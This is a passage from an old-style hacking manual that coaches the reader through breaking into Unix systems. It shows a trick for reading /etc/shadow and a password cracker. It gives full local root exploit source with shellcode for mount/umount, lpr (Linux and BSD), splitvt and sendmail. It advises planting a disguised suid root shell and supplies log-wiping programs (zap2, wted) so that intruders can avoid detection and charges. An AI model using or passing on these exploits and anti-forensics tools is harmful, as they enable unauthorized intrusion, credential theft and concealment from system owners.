  2248.            if ( strcmp( encrypted_string, (*pwd).pw_passwd ) == 0 )
  2249.            {
  2250.              fprintf( stdout, "l: %s p: %s\n", (*pwd).pw_name, buff);
  2251.              fflush(stdout);
  2252.            }
  2253.          }
  2254.       }
  2255.    }
  2256. }
  2257. !
  2258.    echo "Creating scrack"
  2259.    cc -O6 -fomit-frame-pointer -s -o scrack scrack.c
  2260. fi
  2261.  
  2262. ./scrack /tmp/messages.dict.$$
  2263.  
  2264. echo /tmp/messages.dict.$$, ./scrack, and ./scrack.c still exist, delete them yourself.
  2265.  
  2266. ------ cut here
  2267.  
  2268. -----------------------
  2269. Section 3B
  2270. Newbe's
  2271. -----------------------
  2272.  
  2273. Yup, again, just another place to get password files.  Just follow the guide
  2274. lines in section 2B.  Use your sly ideas and get out there and make some
  2275. lame friends ;)
  2276.  
  2277. Remember you could have been a lammer before you read this manual <G>rin
  2278.  
  2279. -----------------------------
  2280. Section 3C
  2281. Getting shadow passwd files
  2282. -----------------------------
  2283.  
  2284. What is a shadow password file?
  2285.  
  2286. Lets just use the passwd file above to show you what it would look like to you
  2287. if you cat it.
  2288.  
  2289. root:x:0:0:root:/root:/bin/bash
  2290. bin:x:1:1:bin:/bin:
  2291. daemon:x:2:2:daemon:/sbin:
  2292. adm:x:3:4:adm:/var/adm:
  2293. lp:x:4:7:lp:/var/spool/lpd:
  2294. sync:x:5:0:sync:/sbin:/bin/sync
  2295. shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
  2296. halt:x:7:0:halt:/sbin:/sbin/halt
  2297. mail:x:8:12:mail:/var/spool/mail:
  2298. news:x:9:13:news:/usr/lib/news:
  2299. uucp:x:10:14:uucp:/var/spool/uucppublic:
  2300. operator:x:11:0:operator:/root:/bin/bash
  2301. games:x:12:100:games:/usr/games:
  2302. man:x:13:15:man:/usr/man:
  2303. postmaster:x:14:12:postmaster:/var/spool/mail:/bin/bash
  2304. nobody:x:-2:100:nobody:/dev/null:
  2305. ftp:x:404:1::/home/ftp:/bin/bash
  2306. guest:x:405:100:guest:/dev/null:/dev/null
  2307. bhilton:x:501:100:Bob Hilton:/home/bhilton:/bin/bash
  2308. web:x:502:100:Web Master:/home/web:/bin/bash
  2309. mary:x:503:100:Mary C. Hilton:/home/mary:/bin/bash
  2310.  
  2311. Something missing?  Yup, the encrypted passwords.  If you get root access the
  2312. encrypted passwords are in /etc/shadow.  Some admin's will hide the shadow file
  2313. in some weird directory somewhere, but most of the time you will find it right
  2314. in /etc.  Other shadow programs might put it in a master.passwd file.  But if
  2315. you get root just have a good look around.
  2316.  
  2317. Lets say you have an account on the machine and just can't get root access.
  2318.  
  2319. Not a problem if they are using libc 5.4.7, at this time most still are ;)
  2320. Also one of these files have to have suid perm's (no prob):
  2321.  
  2322. ping, traceroute, rlogin, or, ssh
  2323.  
  2324. 1. Type bash or sh to start a bash shell
  2325. 2. Type: export RESOLV_HOST_CONF=/etc/shadow
  2326. 3. Type one of the file names above with asdf, like this:
  2327.  
  2328. ping asdf
  2329.  
  2330. It should cat the passwd shadow file for you if it works.
  2331. I seem to find it working on most of the systems i am going on these days.
  2332.  
  2333. Note: you can replace /etc/shadow with any root owned file you want to read.
  2334.  
  2335. Here is a quick script you can run on any file you want to make it easy:
  2336.  
  2337. rcb.c
  2338. -------- cut here
  2339.  
  2340. /* RCB Phraser - therapy in '96
  2341.  * Limits: Linux only, no binary files.
  2342.  * little personal message to the world: FUCK CENSORSHIP!
  2343.  */
  2344.  
  2345. #include <stdio.h>
  2346.  
  2347. void getjunk(const char *filetocat)
  2348. { setenv("RESOLV_HOST_CONF",filetocat,1);
  2349.   system("ping xy 1> /dev/null 2> phrasing");
  2350.   unsetenv("RESOLV_HOST_CONF");
  2351. }
  2352.  
  2353. void main(argc,argv)
  2354. int argc; char **argv;
  2355. { char buffer[200];
  2356.   char *gag;
  2357.   FILE *devel;
  2358.   
  2359.   if((argc==1) || !(strcmp(argv[1],"-h")) || !(strcmp(argv[1],"--help")))
  2360.   { printf("RCB Phraser - junked by THERAPY\n\n");
  2361.     printf("Usage: %s [NO OPTIONS] [FILE to cat]\n\n",argv[0]);
  2362.     exit(1);
  2363.   }
  2364.   getjunk(argv[1]);
  2365.   gag=buffer;
  2366.   gag+=10;
  2367.   devel=fopen("phrasing","rb");
  2368.   while(!feof(devel))
  2369.   { fgets(buffer,sizeof(buffer),devel);
  2370.     if(strlen(buffer)>24)
  2371.     { strcpy(buffer+strlen(buffer)-24,"\n");
  2372.       fputs(gag,stdout);
  2373.     }
  2374.   }
  2375.   fclose(devel);
  2376.   remove("phrasing");
  2377. }
  2378.  
  2379. -------------- cut here
  2380.  
  2381. command line : rcb /etc/shadow  or any other file on the system you
  2382. can't read ;)
  2383.  
  2384. --------------------
  2385. Section 3D
  2386. Getting /etc/hosts
  2387. --------------------
  2388.  
  2389. Just a precaution, sometimes you will need to know what other systems
  2390. are in the hosts file, or what are all of the ip addresses or different domains
  2391. on the system.  Make sure to cat the /etc/hosts file for more information
  2392. you might need later.
  2393.  
  2394. --------------------------
  2395. Chapter IV
  2396. Getting the root account
  2397. --------------------------
  2398. Like I said before all you need is one account in most cases, if you cannot get
  2399. root on the system you might want to trade it off to some irc junkie that
  2400. just wants to load a bot, for some other account or info that can help you in
  2401. your hacking quest.  There will be enough information here so that if you can't
  2402. get root access, their system is well kept and probably will be kept up in the
  2403. future.  You can always lay the account on the side, put the info in some kind
  2404. of log file with some good notes so that you can come back at a later time,
  2405. like right when a new exploit comes out ;)
  2406.  
  2407. Try to stay out of the system until that time so that you do not risk loosing
  2408. the account.  Remember that when you login to an account and can't get root
  2409. you will not be able to clean the logs, and the next time the user logs in he
  2410. might see a message that says: last login from xxx.com time:0:00 date:xx/xx/xx
  2411.  
  2412. ------------
  2413. Section 4A
  2414. Bugs
  2415. ------------
  2416.  
  2417. There are many bugs out there in different programs that you can use to get
  2418. root.  It might be a game installed on the system, or even the sendmail
  2419. program.  If they do not update their programs on a regular basis, you can
  2420. be sure you will be able to get in now, and if not, soon to come.
  2421.  
  2422. I will be sure to provide the main exploits and bugs here and other less
  2423. used below in the appendix section.  I will make sure here to give you detailed
  2424. english terms so that you can exploit root on the system.  But please be sure
  2425. to read the sections below, and this manual entirely before proceeding, to be
  2426. sure you get started in the right way and not blow you chances of having a
  2427. long stay on the system.
  2428.  
  2429. ------------
  2430. Section 4B
  2431. Exploits
  2432. ------------
  2433.  
  2434. umount/mount exploit
  2435.  
  2436. Look in the /bin directory for a file called umount (or mount),
  2437. if you do not find it there do a search for the file like this:
  2438.  
  2439. find / -name umount -print -xdev
  2440.  
  2441. (you can look for any other file name the same way)
  2442.  
  2443. Go to the directory where the file is and do: ls -al um*
  2444.  
  2445. If the file has suid perm's you can probably get root.
  2446.  
  2447. SUID perm's has the rws for the owner of the file which is root.  What you are
  2448. looking for is the (s)
  2449.  
  2450. Look here:
  2451.  
  2452. victim:/bin# ls -al um*
  2453. -rwsr-sr-x   1 root         8888 Mar 21  1995 umount
  2454. victim:/bin#
  2455.  
  2456. This machine we can get root by a compile on the file below:
  2457.  
  2458. umount.c
  2459. ------ cut here
  2460.  
  2461. /* sno.c : Linux realpath exploit
  2462.  * Syntax: ./sno N
  2463.  *         mount $WOOT 
  2464.  *    OR  umount $WOOT
  2465.  * N is some number which seems to differ between 4 & 8, if your number is
  2466.  * too big, you will get a mount error, if it is too small, it will seg
  2467.  * fault.  Figure it out.  (Sometimes N=0 for mount)
  2468.  * If you use mount, first thing to do once you get the root shell is rm 
  2469.  * /etc/mtab~, if this file exists you can't root with mount until it is 
  2470.  * removed.
  2471.  * 
  2472.  *
  2473.  *                                          -ReDragon
  2474.  */
  2475. #define SIZE 1024
  2476.  
  2477.    long get_esp(void)
  2478.    {
  2479.    __asm__("movl %esp,%eax\n");
  2480.    }
  2481.  
  2482.    main(int argc, char **argv)
  2483.    {
  2484.    char env[SIZE+4+1]; /* 1024 buffer + 4 byte return address + null byte */
  2485.    int a,r;
  2486.    char *ptr;
  2487.    long *addr_ptr;
  2488.    char execshell[] =
  2489.    "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
  2490.    "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
  2491.    "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
  2492.    char *exec_ptr = execshell;
  2493.  
  2494.    r=atoi(argv[1]);  
  2495.    ptr = env;
  2496.    memcpy(ptr,"WOOT=",5); /* set environment variable to use */
  2497.    ptr += 5;              
  2498.  
  2499.    for(a=0;a<SIZE+4-strlen(execshell)-r;a++)  /* pad front with NOPs */
  2500.       *(ptr++) = 0x90;
  2501.    while (*exec_ptr)
  2502.       *(ptr++) = *(exec_ptr++);
  2503.    addr_ptr = (long *)ptr;
  2504.    *(addr_ptr++) = get_esp()+1139;  /* 0xbffffc01 */
  2505.  
  2506.    ptr = (char *) addr_ptr;  
  2507.    *ptr = 0; /* must end with null byte to terminate string */
  2508.    putenv(env);
  2509.    system("/bin/mount $WOOT");
  2510. }
  2511.  
  2512. ----------- cut here
  2513.  
  2514. **********************************
  2515. To compile the file on the victims machine type gcc umount.c (or what ever
  2516. name you called it) -o um
  2517.  
  2518. This will make a file called um that you can exec.  Sometimes you will need
  2519. to put a ./ in front of the file like this: ./um
  2520.  
  2521. With this exploit you might also have to give it a number like:
  2522. ./um 0 (or) ./um 4 ....alltheway up to 8... like this again ./um 8
  2523.  
  2524.  
  2525. *************************************
  2526. If you fail here you might want to try lpr.  Look in the /usr/bin for lpr and
  2527. see if it is SUID, if it is lpr should work if it is up on the system.
  2528.  
  2529. ls -l lpr
  2530.  
  2531. Ok it had suid perm's?  Use this script
  2532.  
  2533. *************************************
  2534. lpr.linux.c
  2535. ------------- cut here
  2536.  
  2537. #include <stdio.h>
  2538. #include <stdlib.h>
  2539. #include <unistd.h>
  2540.  
  2541. #define DEFAULT_OFFSET          50
  2542. #define BUFFER_SIZE             1023
  2543.  
  2544. long get_esp(void)
  2545. {
  2546.    __asm__("movl %esp,%eax\n");
  2547. }
  2548.  
  2549. void main()
  2550. {
  2551.    char *buff = NULL;
  2552.    unsigned long *addr_ptr = NULL;
  2553.    char *ptr = NULL;
  2554.  
  2555.    u_char execshell[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07"
  2556.                         "\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12"
  2557.                         "\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8"
  2558.                         "\xd7\xff\xff\xff/bin/sh";
  2559.    int i;
  2560.  
  2561.    buff = malloc(4096);
  2562.    if(!buff)
  2563.    {
  2564.       printf("can't allocate memory\n");
  2565.       exit(0);
  2566.    }
  2567.    ptr = buff;
  2568.    memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
  2569.    ptr += BUFFER_SIZE-strlen(execshell);
  2570.    for(i=0;i < strlen(execshell);i++)
  2571.       *(ptr++) = execshell[i];
  2572.    addr_ptr = (long *)ptr;
  2573.    for(i=0;i<2;i++)
  2574.       *(addr_ptr++) = get_esp() + DEFAULT_OFFSET;
  2575.    ptr = (char *)addr_ptr;
  2576.    *ptr = 0;
  2577.    execl("/usr/bin/lpr", "lpr", "-C", buff, NULL);
  2578. }
  2579. ---------- cut here
  2580.  
  2581. ***************************
  2582. Here is the BSD version
  2583. ***************************
  2584.  
  2585. lpr.bsd.c
  2586. --------------------------------------------------------- cut here
  2587. #include <stdio.h>
  2588. #include <stdlib.h>
  2589. #include <unistd.h>
  2590.  
  2591. #define DEFAULT_OFFSET          50
  2592. #define BUFFER_SIZE             1023
  2593.  
  2594. long get_esp(void)
  2595. {
  2596.    __asm__("movl %esp,%eax\n");
  2597. }
  2598.  
  2599. void main()
  2600. {
  2601.    char *buff = NULL;
  2602.    unsigned long *addr_ptr = NULL;
  2603.    char *ptr = NULL;
  2604.  
  2605.    char execshell[] =
  2606.    "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
  2607.    "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
  2608.    "\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"
  2609.    "\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";
  2610.  
  2611.    int i;
  2612.  
  2613.    buff = malloc(4096);
  2614.    if(!buff)
  2615.    {
  2616.       printf("can't allocate memory\n");
  2617.       exit(0);
  2618.    }
  2619.    ptr = buff;
  2620.    memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
  2621.    ptr += BUFFER_SIZE-strlen(execshell);
  2622.    for(i=0;i < strlen(execshell);i++)
  2623.       *(ptr++) = execshell[i];
  2624.    addr_ptr = (long *)ptr;
  2625.    for(i=0;i<2;i++)
  2626.       *(addr_ptr++) = get_esp() + DEFAULT_OFFSET;
  2627.    ptr = (char *)addr_ptr;
  2628.    *ptr = 0;
  2629.    execl("/usr/bin/lpr", "lpr", "-C", buff, NULL);
  2630. }
  2631. --------- cut here
  2632.  
  2633. Now just compile it and chmod it +x, and run it.
  2634.  
  2635. Watch this one on the group file owner.  Any file you copy will have
  2636. group owner as lp, make sure you chgrp root filename on any file you
  2637. write.  Always be watching the user groups with ls -l and if you changed
  2638. any change them back like this:
  2639.  
  2640. chgrp groupname filename
  2641.  
  2642. It is a good idea to use this exploit ONLY to get the root access, then
  2643. just copy bash or sh to another file name on the system somewhere and make
  2644. it root root, suid:  Group owner and File owner root, then chmod it +s
  2645.  
  2646. This will give you root access in the future as gid and uid root, without using
  2647. the lp group.  Make sure you name it something that looks like it should be
  2648. running as a root process somewhere ;)
  2649.  
  2650. *****************
  2651. Here is another that is still around after a while, look for SUID perm's
  2652. on a file /usr/bin/splitvt
  2653.  
  2654. If it has suid perm's use this file below, but be sure to read the directions
  2655. after the exploit:
  2656. ****************************************
  2657. sp.c
  2658. -------------------------------------------- cut here
  2659. /*
  2660.  *            Avalon Security Research
  2661.  *                Release 1.3
  2662.  *                 (splitvt)
  2663.  *
  2664.  * Affected Program: splitvt(1)
  2665.  *
  2666.  * Affected Operating Systems: Linux 2-3.X
  2667.  *
  2668.  * Exploitation Result: Local users can obtain superuser privileges.
  2669.  *
  2670.  * Bug Synopsis: A stack overflow exists via user defined unbounds checked
  2671.  * user supplied data sent to a sprintf(). 
  2672.  *
  2673.  * Syntax: 
  2674.  * crimson~$ cc -o sp sp.c
  2675.  * crimson~$ sp
  2676.  * bash$ sp
  2677.  * bash$ splitvt
  2678.  * bash# whoami
  2679.  * root
  2680.  *
  2681.  * Credit: Full credit for this bug (both the research and the code)
  2682.  * goes to Dave G. & Vic M.  Any questions should be directed to
  2683.  * mcpheea@cadvision.com . 
  2684.  *
  2685.  * ----------------------------------------------------------------------------
  2686.  */
  2687.  
  2688.  
  2689. long get_esp(void)
  2690. {
  2691. __asm__("movl %esp,%eax\n");
  2692. }
  2693. main()
  2694. {
  2695.   char eggplant[2048];
  2696.   int a;
  2697.   char *egg;
  2698.   long *egg2;
  2699.   char realegg[] =
  2700. "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
  2701. "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
  2702. "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
  2703.   char *eggie = realegg;
  2704.  
  2705.   egg = eggplant;
  2706.  
  2707.   *(egg++) = 'H';
  2708.   *(egg++) = 'O';
  2709.   *(egg++) = 'M';
  2710.   *(egg++) = 'E';
  2711.   *(egg++) = '=';
  2712.  
  2713.   egg2 = (long *)egg;
  2714.  
  2715.   for (a=0;a<(256+8)/4;a++) *(egg2++) = get_esp() + 0x3d0 + 0x30;
  2716.  
  2717.   egg=(char *)egg2;
  2718.  
  2719.   for (a=0;a<0x40;a++) *(egg++) = 0x90;
  2720.  
  2721.   while (*eggie)
  2722.     *(egg++) = *(eggie++);
  2723.   *egg = 0; /* terminate eggplant! */
  2724.  
  2725.   putenv(eggplant);
  2726.  
  2727.   system("/bin/bash");
  2728. }
  2729.  
  2730. -------------- cut here
  2731.  
  2732. Ok this is how splitvt works:
  2733.  
  2734. 1. Compile the file
  2735. 2. Run the sp file
  2736. 3. Run splitvt
  2737.  
  2738. Before you run the file:   whoami {press enter}
  2739.                            username
  2740. After you run the exploit: whoami
  2741.                            root
  2742.  
  2743. *******************************************************
  2744.  
  2745. Now if all of these have not got you root, try sm.sh.  This is a sendmail
  2746. bug that works with 8.73 to 8.83 (maybe some others)
  2747.  
  2748. Here is the script:
  2749.  
  2750. sm.sh
  2751. ---------- cut here
  2752. echo   'main()                                                '>>smtpd.c
  2753. echo   '{                                                     '>>smtpd.c
  2754. echo   '  setuid(0); setgid(0);                               '>>smtpd.c
  2755. echo   '  system("cp /bin/sh /tmp;chmod a=rsx /tmp/sh");      '>>smtpd.c
  2756. echo   '}                                                     '>>smtpd.c
  2757. echo   'main()                                                '>>leshka.c
  2758. echo   '{                                                     '>>leshka.c
  2759. echo   '  execl("/usr/sbin/sendmail","/tmp/smtpd",0);         '>>leshka.c
  2760. echo   '}                                                     '>>leshka.c
  2761.  
  2762. cc -o leshka leshka.c;cc -o /tmp/smtpd smtpd.c
  2763. ./leshka
  2764. kill -HUP `ps -ax|grep /tmp/smtpd|grep -v grep|tr -d ' '|tr -cs "[:digit:]" "\n"|head -n 1`
  2765. rm leshka.c leshka smtpd.c /tmp/smtpd
  2766. cd /tmp
  2767. sh
  2768. ------------ cut here
  2769.  
  2770. Just chmod the file +x like this
  2771.  
  2772. chmod +x sm.sh
  2773.  
  2774. 1. Run the file
  2775. 2. It will take you to the /tmp directory
  2776. 3. type ls -l and see if you have a SUID sh file there, if you do, type
  2777.    whoami, if not root, run the file ./sh, now see if you are root ;)
  2778.  
  2779. I will add many more scripts in the appendix, but these should be the best
  2780. at this time to get root access on linux or BSD, if you need another BSD
  2781. exploit try the crontab exploit for BSD in the appendix.
  2782. ****************************************************************************
  2783.  
  2784. --------------------------
  2785. Chapter V
  2786. Making yourself invisible
  2787. --------------------------
  2788.  
  2789. The whole point of this hacking stuff is that you continue to have access to as
  2790. many points of information as possible.  If you do stupid things, of fail just
  2791. once to clean your utmp or wtmp, xferlog's, etc ... you can loose access to the
  2792. system.  Make yourself a regular order to follow and learn each system well!
  2793.  
  2794. Become part of the system, and take many notes if you are doing many systems
  2795. at once.  But remember make yourself a routine.  Have your set routine of
  2796. taking your time to clean any presence of your login, transfers, etc.  Do NOT fail
  2797. in this one thing or you will loose access and possibly face some sort of
  2798. charges.
  2799.  
  2800. ----------------------------
  2801. Section 5A
  2802. Zap2 (for wtmp/lastlog/utmp)
  2803. ----------------------------
  2804.  
  2805. There are different log cleaning programs out there, but the best of these
  2806. is zap2.  I compile mine to be named z2.
  2807.  
  2808. z2 will be run right after you get root access.  This will want to be one of
  2809. the fastest things you run.  (you never know)
  2810.  
  2811. You might want to do a finger @host.xxx to see who is on now, look at the idle
  2812. time of root or admin accounts to see if they are away doing something.
  2813.  
  2814. Login, and as soon as you get on, type w, to see idle time and who is on, but
  2815. at the same time you are looking at that be typing your root access command
  2816. that you should have waiting somewhere nested in the system.  As soon as you
  2817. get your root access, type ./z2 username-u-logged-in-as
  2818.  
  2819. Now you are safer then you were.  Do a w or who command to see that you are
  2820. gone from the utmp.  If you ftp, or do other things you might have to use
  2821. other programs I will include in the next section called wted and lled.
  2822.  
  2823. Lets finish with this z2 first.  You will have to see where each file is in
  2824. the system and edit z2.c to include the right location of these files
  2825.  
  2826. Here is the area you will look for right at the top of the file:
  2827.  
  2828. #define WTMP_NAME "/usr/adm/wtmp"
  2829. #define UTMP_NAME "/etc/utmp"
  2830. #define LASTLOG_NAME "/usr/adm/lastlog"
  2831.  
  2832. Most of the systems I login to are:
  2833.  
  2834. #define WTMP_NAME "/var/adm/wtmp"
  2835. #define UTMP_NAME "/var/adm/utmp"
  2836. #define LASTLOG_NAME "/var/adm/lastlog"
  2837.  
  2838.  
  2839. But you do your own look around to see were the files are.  Also /var/log:
  2840. is a regular location.
  2841.  
  2842. Add the log locations for each system, compile the file, and you are all ready
  2843. to be invisible right after the login using z2
  2844.  
  2845. Here is the .c file
  2846.  
  2847. z2.c
  2848. --------------------------- cut here
  2849. #include <sys/types.h>
  2850. #include <stdio.h>
  2851. #include <unistd.h>
  2852. #include <sys/file.h>
  2853. #include <fcntl.h>
  2854. #include <utmp.h>
  2855. #include <pwd.h>
  2856. #include <lastlog.h>
  2857. #define WTMP_NAME "/usr/adm/wtmp"
  2858. #define UTMP_NAME "/etc/utmp"
  2859. #define LASTLOG_NAME "/usr/adm/lastlog"
  2860.  
  2861. int f;
  2862.  
  2863. void kill_utmp(who)
  2864. char *who;
  2865. {
  2866.     struct utmp utmp_ent;
  2867.  
  2868.   if ((f=open(UTMP_NAME,O_RDWR))>=0) {
  2869.      while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
  2870.        if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
  2871.                  bzero((char *)&utmp_ent,sizeof( utmp_ent ));
  2872.                  lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
  2873.                  write (f, &utmp_ent, sizeof (utmp_ent));
  2874.             }
  2875.      close(f);
  2876.   }
  2877. }
  2878.  
  2879. void kill_wtmp(who)
  2880. char *who;
  2881. {
  2882.     struct utmp utmp_ent;
  2883.     long pos;
  2884.  
  2885.     pos = 1L;
  2886.     if ((f=open(WTMP_NAME,O_RDWR))>=0) {
  2887.  
  2888.      while(pos != -1L) {
  2889.         lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
  2890.         if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
  2891.           pos = -1L;
  2892.         } else {
  2893.           if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
  2894.                bzero((char *)&utmp_ent,sizeof(struct utmp ));
  2895.                lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
  2896.                write (f, &utmp_ent, sizeof (utmp_ent));
  2897.                pos = -1L;
  2898.           } else pos += 1L;
  2899.         }
  2900.      }
  2901.      close(f);
  2902.   }
  2903. }
  2904.  
  2905. void kill_lastlog(who)
  2906. char *who;
  2907. {
  2908.     struct passwd *pwd;
  2909.     struct lastlog newll;
  2910.  
  2911.      if ((pwd=getpwnam(who))!=NULL) {
  2912.  
  2913.         if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
  2914.             lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
  2915.             bzero((char *)&newll,sizeof( newll ));
  2916.             write(f, (char *)&newll, sizeof( newll ));
  2917.             close(f);
  2918.         }
  2919.  
  2920.     } else printf("%s: ?\n",who);
  2921. }
  2922.  
  2923. main(argc,argv)
  2924. int argc;
  2925. char *argv[];
  2926. {
  2927.     if (argc==2) {
  2928.         kill_lastlog(argv[1]);
  2929.         kill_wtmp(argv[1]);
  2930.         kill_utmp(argv[1]);
  2931.         printf("Zap2!\n");
  2932.     } else
  2933.     printf("Error.\n");
  2934. }
  2935. --------------------------- cut here
  2936.  
  2937. ---------------
  2938. Section 5B
  2939. Other scripts
  2940. ---------------
  2941.  
  2942. Now we come to the other part of this.  Lets say that after you login, and do
  2943. your z2, you need to ftp in to grab a file. (remember NEVER ftp or telnet out)
  2944. Ok, you ftp in and grab a few files, or login to another account on the system,
  2945. now you will need to use wted.  wted will let you edit the wtmp to remove your
  2946. login from the ftp.  You also might need to use the lled (lastlog edit).
  2947.  
  2948. Here is the menu if you type ./wted, after setting log locations & compile:
  2949.  
  2950. [8:25pm][/home/compile]wted
  2951. Usage: wted -h -f FILE -a -z -b -x -u USER -n USER -e USER -c HOST
  2952.             -h      This help
  2953.             -f      Use FILE instead of default
  2954.             -a      Show all entries found
  2955.             -u      Show all entries for USER
  2956.             -b      Show NULL entries
  2957.             -e      Erase USER completely
  2958.             -c      Erase all connections containing HOST
  2959.             -z      Show ZAP'd entries
  2960.             -x      Attempt to remove ZAP'd entries completely
  2961.  
  2962. So if i ftp to username tsmith I would type wted -x -e tsmith
  2963.  
  2964. The program will now prompt you one login at a time for the user tsmith asking
  2965. if you want to delete it.  After you delete your login, make sure to
  2966. chmod 644 the wtmp.tmp file and then copy it over the top of the wtmp file in
  2967. the log directory.  Like this:
  2968.  
  2969. 1. chmod 644 wtmp.tmp
  2970. 2. cp wtmp.tmp /var/adm/wtmp
  2971.  
  2972. Here is your wted program:
  2973.  
  2974. MAKE SURE TO HAVE THE RIGHT PATH TO THE char file below
  2975. So make sure you have the right path to the wtmp file.
  2976.  
  2977. wted.c
  2978. ---------------------- cut here
  2979. #include <stdio.h>
  2980. #include <utmp.h>
  2981. #include <time.h>
  2982. #include <fcntl.h>
  2983.  
  2984. char *file="/var/adm/wtmp";
  2985.  
  2986. main(argc,argv)
  2987. int argc;
  2988. char *argv[];
  2989. {
  2990. int i;
  2991. if (argc==1) usage();
  2992. for(i=1;i<argc;i++)
  2993.     {
  2994.     if(argv[i][0] == '-')
  2995.         {
  2996.         switch(argv[i][1])
  2997.             {
  2998.             case 'b': printents(""); break;
  2999.             case 'z': printents("Z4p"); break;
  3000.             case 'e': erase(argv[i+1],0); break;
  3001.             case 'c': erase(0,argv[i+1]); break;
  3002.             case 'f': file=argv[i+1]; break;
  3003.             case 'u': printents(argv[i+1]); break;
  3004.             case 'a': printents("*"); break;
  3005.             case 'x': remnull(argv[i+1]); break;
  3006.             default:usage();
  3007.             }
  3008.         }
  3009.     }
  3010. }
  3011.  
  3012. printents(name)
  3013. char *name;
  3014. {
  3015. struct utmp utmp,*ptr;
  3016. int fp=-1;
  3017. ptr=&utmp;
  3018. if (fp=open(file,O_RDONLY))
  3019.     {
  3020.     while (read(fp,&utmp,sizeof(struct utmp))==sizeof(struct utmp))
  3021.         {
  3022.         if ( !(strcmp(name,ptr->ut_name)) || (name=="*") ||
  3023.         (!(strcmp("Z4p",name)) && (ptr->ut_time==0)))
  3024.             printinfo(ptr);
  3025.         }
  3026.     close(fp);
  3027.     }
  3028. }
  3029.  
  3030. printinfo(ptr)
  3031. struct utmp *ptr;
  3032. {
  3033. char tmpstr[256];
  3034. printf("%s\t",ptr->ut_name);
  3035. printf("%s\t",ptr->ut_line);
  3036. strcpy(tmpstr,ctime(&(ptr->ut_time)));
  3037. tmpstr[strlen(tmpstr)-1]='\0';
  3038. printf("%s\t",tmpstr);
  3039. printf("%s\n",ptr->ut_host);
  3040. }
  3041.  
  3042. erase(name,host)
  3043. char *name,*host;
  3044. {
  3045. int fp=-1,fd=-1,tot=0,cnt=0,n=0;
  3046. struct utmp utmp;
  3047. unsigned char c;
  3048. if (fp=open(file,O_RDONLY)) {
  3049.         fd=open("wtmp.tmp",O_WRONLY|O_CREAT);
  3050.         while (read(fp,&utmp,sizeof(struct utmp))==sizeof(struct utmp)) {
  3051.         if (host)
  3052.             if (strstr(utmp.ut_host,host)) tot++;
  3053.             else {cnt++;write(fd,&utmp,sizeof(struct utmp));}
  3054.         if (name) {
  3055.                 if (strcmp(utmp.ut_name,name)) {cnt++;
  3056.             write(fd,&utmp,sizeof(struct utmp));}
  3057.         else { 
  3058.             if (n>0) {
  3059.                 n--;cnt++;
  3060.                 write(fd,&utmp,sizeof(struct utmp));}
  3061.             else
  3062.             {
  3063.             printinfo(&utmp);
  3064.             printf("Erase entry (y/n/f(astforward))? ");
  3065.             c='a';
  3066.             while (c!='y'&&c!='n'&&c!='f') c=getc(stdin);
  3067.             if (c=='f') {
  3068.                 cnt++;
  3069.                 write(fd,&utmp,sizeof(struct utmp));
  3070.                 printf("Fast forward how many entries? ");
  3071.                 scanf("%d",&n);}
  3072.             if (c=='n') {
  3073.                 cnt++;
  3074.                 write(fd,&utmp,sizeof(struct utmp));
  3075.                 }
  3076.             if (c=='y') tot++;
  3077.             } 
  3078.               }    }                    
  3079.         }
  3080.         close(fp);
  3081.         close(fd);
  3082.         }
  3083. printf("Entries stored: %d Entries removed: %d\n",cnt,tot);
  3084. printf("Now chmod wtmp.tmp and copy over the original %s\n",file);
  3085. }
  3086.  
  3087. remnull(name)
  3088. char *name;
  3089. {
  3090. int fp=-1,fd=-1,tot=0,cnt=0,n=0;
  3091. struct utmp utmp;
  3092. if (fp=open(file,O_RDONLY)) {
  3093.         fd=open("wtmp.tmp",O_WRONLY|O_CREAT);
  3094.         while (read(fp,&utmp,sizeof(struct utmp))==sizeof(struct utmp)) {
  3095.         if (utmp.ut_time) {
  3096.             cnt++;
  3097.             write(fd,&utmp,sizeof(struct utmp));
  3098.         }
  3099.         else
  3100.             tot++;
  3101.     }
  3102.         close(fp);
  3103.         close(fd);
  3104.         }
  3105. printf("Entries stored: %d Entries removed: %d\n",cnt,tot);
  3106. printf("Now chmod wtmp.tmp and copy over the original %s\n",file);
  3107. }
  3108.  
  3109. usage()
  3110. {
  3111. printf("Usage: wted -h -f FILE -a -z -b -x -u USER -n USER -e USER -c HOST\n");
  3112. printf("\t-h\tThis help\n");
  3113. printf("\t-f\tUse FILE instead of default\n");
  3114. printf("\t-a\tShow all entries found\n");
  3115. printf("\t-u\tShow all entries for USER\n");
  3116. printf("\t-b\tShow NULL entries\n"); 
  3117. printf("\t-e\tErase USER completely\n");
  3118. printf("\t-c\tErase all connections containing HOST\n");
  3119. printf("\t-z\tShow ZAP'd entries\n");
